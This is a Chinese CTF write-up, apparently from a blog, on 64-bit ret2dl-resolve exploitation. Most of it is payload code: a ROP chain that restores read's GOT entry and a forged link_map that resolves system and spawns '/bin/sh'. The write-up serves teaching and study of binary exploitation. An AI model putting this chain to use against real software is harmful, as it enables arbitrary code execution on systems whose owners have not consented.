ret2dl64
ret2dl64
ret2dl64 与ret2dl32不同,ret2dl64需要知道libc。
检查保护:

IDA看一看

read_got 被置为0,强制你使用ret2dlresolve。
我们先伪造link_map,然后让程序去执行我们伪造的link_map,执行system('/bin/sh')。
首先我们需要恢复read函数的got表,方法就是布置好参数跳转到plt0重新解析read函数。
bin_sh = fake_link_map_addr + 0x78
payload = fake_link_map
payload = payload.ljust(0x118,'\x00')
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(0x0600E10)+p64(0)+p64(0x400406) #恢复read_got的内容
payload += p64(pop_rdi_ret) + p64(bin_sh)+p64(ret)+ p64(plt_load) + p64(fake_link_map_addr) + p64(0)#通过fake_link_map调用system('/bin/sh')
我们再来看看fake_link_map
l_addr = libc.sym['system'] - libc.sym['read']
r_offset = buf - l_addr #保证buf为可读可写就可以了
#负数需要补码
if l_addr < 0:
l_addr = l_addr + 0x10000000000000000
fake_link_map_addr = buf
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_rel_addr = fake_link_map_addr + 0x28
fake_link_map = p64(l_addr)
fake_link_map += p64(0) + p64(dynstr) #fake_dyn_strtab : fake_link_map_addr + 0x8
fake_link_map += p64(0) + p64(read_got - 0x8) #fake_dyn_symtab : fake_link_map_addr + 0x18
fake_link_map += p64(0) + p64(fake_link_map_addr + 0x38) #fake_dyn_rel : fake_link_map_addr + 0x28
fake_link_map += p64(r_offset) + p64(0x7) + p64(0) #fake_rel : fake_link_map_addr + 0x38
fake_link_map = fake_link_map.ljust(0x68,'\x00')
fake_link_map += p64(fake_dyn_strtab_addr)#dyn_strtab的指针
fake_link_map += p64(fake_dyn_symtab_addr) #dyn_strsym的指针 : fake_link_map_addr + 0x70
fake_link_map += '/bin/sh\x00' #fake_link_map_addr + 0x78
fake_link_map = fake_link_map.ljust(0xF8,'\x00')
fake_link_map += p64(fake_dyn_rel_addr)#在fake_link_map_addr + 0xF8处,是rel.plt指针
ret2dl64的更多相关文章
随机推荐
- Linux文件/proc/net/tcp分析
本文转载自Linux文件/proc/net/tcp分析 导语 /proc/net/tcp文件提供了tcp的连接信息,是由net/ipv4/tcp_ipv4.c中的tcp4_seq_show()实现信息 ...
- MySQL数据库与NAVICAT安装与配置
1.安装破解版的NAVICAT:https://www.cnblogs.com/yinfei/p/11427259.html 2.连接MYSQL 下载MYSQL并安装,配置环境变量 以管理员身份运行C ...
- 1047 Student List for Course ——PAT甲级真题
1047 Student List for Course Zhejiang University has 40,000 students and provides 2,500 courses. Now ...
- javascript中的内置对象和数据结构
目录 简介 基础类型 undefined Boolean和Boolean对象 Number和BigInt String Symbol null Object Function Date Array K ...
- 顶级c程序员之路 基础篇 - 第一章 关键字的深度理解 number-1
c语言有32个关键字,每个关键字你都理解吗? 今天出场的是: auto , register, static, extern 为什么他们会一起呢,说到这里不得不谈到c语言对变量的描述. c给每 ...
- docker启动ubuntu的桌面环境
一.概述 由于最近一段时间在家办公,国内服务器在阿里云,国外站点在aws.家里的移动宽带比较差,无法访问aws. 所以尝试在阿里云启动docker,找到一个lxde桌面环境的ubuntu镜像. 二.启 ...
- 微信小程序自定义头部导航栏
<!--index.wxml--> <view> <navbar id='index_header' background='{{background}}' pageNa ...
- MySQL 多表查询与事务的操作
表连接查询 什么是多表查询 # 数据准备 # 多表查询的作用 * 比如:我们想查询孙悟空的名字和他所在的部门的名字,则需要使用多表查询 # 如果一条 SQL 语句查询多张表,因为查询结果在多张不同的表 ...
- Typescript开发学习总结(附大量代码)
如果评定前端在最近五年的重大突破,Typescript肯定能名列其中,重大到各大技术论坛.大厂面试都认为Typescript应当是前端的一项必会技能.作为一名消息闭塞到被同事调侃成"新石器时 ...
- java安全初学之动态代理
前言:作为安全人员,代理大家用的都很多,那什么是java中的动态代理呢?事实上,java中的"动态"也就意味着使用了反射,因此动态代理是基于反射机制的一种代理模式. 简介: 代理是 ...